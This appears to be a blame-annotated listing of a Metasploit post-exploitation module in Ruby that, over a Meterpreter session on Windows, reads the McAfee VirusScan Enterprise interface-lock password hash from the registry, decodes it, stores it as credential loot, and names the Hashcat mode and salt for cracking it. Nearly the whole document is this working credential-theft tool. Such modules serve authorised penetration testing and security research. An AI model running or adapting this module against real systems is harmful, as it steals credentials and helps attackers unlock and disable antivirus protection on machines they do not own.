2015-01-02 10:22:11 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
2015-01-10 02:01:17 +00:00
|
|
|
VERSION_5 = Gem::Version.new('5.0')
|
|
|
|
VERSION_6 = Gem::Version.new('6.0')
|
|
|
|
VERSION_8 = Gem::Version.new('8.0')
|
|
|
|
VERSION_9 = Gem::Version.new('9.0')
|
|
|
|
|
2015-01-09 19:00:25 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
|
|
|
|
'Description' => %q(
|
2015-04-16 20:09:43 +00:00
|
|
|
This module extracts the password hash from McAfee Virus Scan Enterprise (VSE)
|
2015-04-17 13:47:02 +00:00
|
|
|
used to lock down the user interface. Hashcat supports cracking this type of
|
|
|
|
hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt
|
|
|
|
(--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic
|
2015-04-16 20:09:43 +00:00
|
|
|
format is available for John the Ripper at the referenced URL.
|
2015-01-09 19:00:25 +00:00
|
|
|
),
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
2015-01-10 14:15:53 +00:00
|
|
|
'Mike Manzotti <mike.manzotti[at]dionach.com>', # Metasploit module
|
|
|
|
'Maurizio inode Agazzini' # original research
|
|
|
|
],
|
|
|
|
'References' => [
|
|
|
|
['URL', 'https://www.dionach.com/blog/disabling-mcafee-on-access-scanning']
|
2015-01-09 19:00:25 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
2015-01-02 10:22:11 +00:00
|
|
|
|
2015-01-14 23:54:02 +00:00
|
|
|
def run
|
2015-01-22 04:33:54 +00:00
|
|
|
print_status("Looking for McAfee VSE password hashes on #{sysinfo['Computer']} ...")
|
2015-01-14 23:54:02 +00:00
|
|
|
|
|
|
|
vse_keys = enum_vse_keys
|
|
|
|
if vse_keys.empty?
|
2015-01-22 04:33:54 +00:00
|
|
|
vprint_error("McAfee VSE not installed or insufficient permissions")
|
2015-01-14 23:54:02 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
hashes_and_versions = extract_hashes_and_versions(vse_keys)
|
|
|
|
if hashes_and_versions.empty?
|
2015-01-22 04:33:54 +00:00
|
|
|
vprint_error("No McAfee VSE hashes extracted")
|
2015-01-14 23:54:02 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
process_hashes_and_versions(hashes_and_versions)
|
|
|
|
end
|
|
|
|
|
2015-01-09 19:00:25 +00:00
|
|
|
def enum_vse_keys
|
2015-01-10 02:01:17 +00:00
|
|
|
vprint_status('Enumerating McAfee VSE installations')
|
|
|
|
keys = []
|
2015-01-09 19:00:25 +00:00
|
|
|
[
|
|
|
|
'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit
|
|
|
|
'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
|
|
|
|
].each do |key|
|
2015-01-10 02:01:17 +00:00
|
|
|
subkeys = registry_enumkeys(key)
|
2015-01-10 14:15:53 +00:00
|
|
|
keys << key unless subkeys.nil?
|
2015-01-09 19:00:25 +00:00
|
|
|
end
|
2015-01-10 02:01:17 +00:00
|
|
|
keys
|
2015-01-02 10:22:11 +00:00
|
|
|
end
|
|
|
|
|
2015-01-10 02:01:17 +00:00
|
|
|
def extract_hashes_and_versions(keys)
|
|
|
|
vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations")
|
|
|
|
hash_map = {}
|
2015-01-09 19:00:25 +00:00
|
|
|
keys.each do |key|
|
|
|
|
hash = registry_getvaldata(key, "UIPEx")
|
|
|
|
if hash.empty?
|
2015-01-22 04:33:54 +00:00
|
|
|
vprint_error("No McAfee VSE password hash found in #{key}")
|
2015-01-10 02:01:17 +00:00
|
|
|
next
|
2015-01-02 10:22:11 +00:00
|
|
|
end
|
2015-01-09 19:00:25 +00:00
|
|
|
|
2015-01-10 02:01:17 +00:00
|
|
|
version = registry_getvaldata(key, "szProductVer")
|
|
|
|
if version.empty?
|
2015-01-22 04:33:54 +00:00
|
|
|
vprint_error("No McAfee VSE version key found in #{key}")
|
2015-01-10 02:01:17 +00:00
|
|
|
next
|
|
|
|
end
|
|
|
|
hash_map[hash] = Gem::Version.new(version)
|
|
|
|
end
|
|
|
|
hash_map
|
|
|
|
end
|
|
|
|
|
|
|
|
def process_hashes_and_versions(hashes_and_versions)
|
|
|
|
hashes_and_versions.each do |hash, version|
|
2015-01-16 20:10:01 +00:00
|
|
|
if version >= VERSION_5 && version < VERSION_6
|
2015-01-10 02:01:17 +00:00
|
|
|
hashtype = 'md5u'
|
2015-01-16 20:10:01 +00:00
|
|
|
version_name = 'v5'
|
2015-01-09 19:00:25 +00:00
|
|
|
else
|
2015-01-16 20:10:01 +00:00
|
|
|
# Base64 decode hash
|
|
|
|
hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "")
|
2015-01-10 02:01:17 +00:00
|
|
|
hashtype = 'dynamic_1405'
|
2015-01-16 20:10:01 +00:00
|
|
|
version_name = 'v8'
|
2015-01-22 04:27:38 +00:00
|
|
|
unless version >= VERSION_8 && version < VERSION_9
|
2015-01-22 04:33:54 +00:00
|
|
|
print_warning("Unknown McAfee VSE version #{version} - Assuming v8")
|
2015-01-16 20:10:01 +00:00
|
|
|
end
|
2015-01-09 19:00:25 +00:00
|
|
|
end
|
|
|
|
|
2015-01-22 04:33:54 +00:00
|
|
|
print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}")
|
2015-01-09 19:00:25 +00:00
|
|
|
|
2015-01-02 10:22:11 +00:00
|
|
|
credential_data = {
|
2015-01-09 19:00:25 +00:00
|
|
|
post_reference_name: refname,
|
|
|
|
origin_type: :session,
|
2015-01-16 20:10:01 +00:00
|
|
|
private_type: :nonreplayable_hash,
|
2015-01-10 02:01:17 +00:00
|
|
|
private_data: hash,
|
2015-01-09 19:00:25 +00:00
|
|
|
session_id: session_db_id,
|
|
|
|
jtr_format: hashtype,
|
2015-01-22 04:27:38 +00:00
|
|
|
workspace_id: myworkspace_id
|
2015-01-09 19:00:25 +00:00
|
|
|
}
|
|
|
|
|
2015-01-16 20:10:01 +00:00
|
|
|
create_credential(credential_data)
|
2015-01-02 10:22:11 +00:00
|
|
|
|
2015-01-17 14:17:41 +00:00
|
|
|
# Store McAfee password hash as loot
|
2015-01-22 04:27:38 +00:00
|
|
|
loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash')
|
2015-01-22 04:33:54 +00:00
|
|
|
print_status("McAfee VSE password hash saved in: #{loot_path}")
|
2015-01-09 19:00:25 +00:00
|
|
|
end
|
|
|
|
end
|
2015-01-02 10:22:11 +00:00
|
|
|
end
|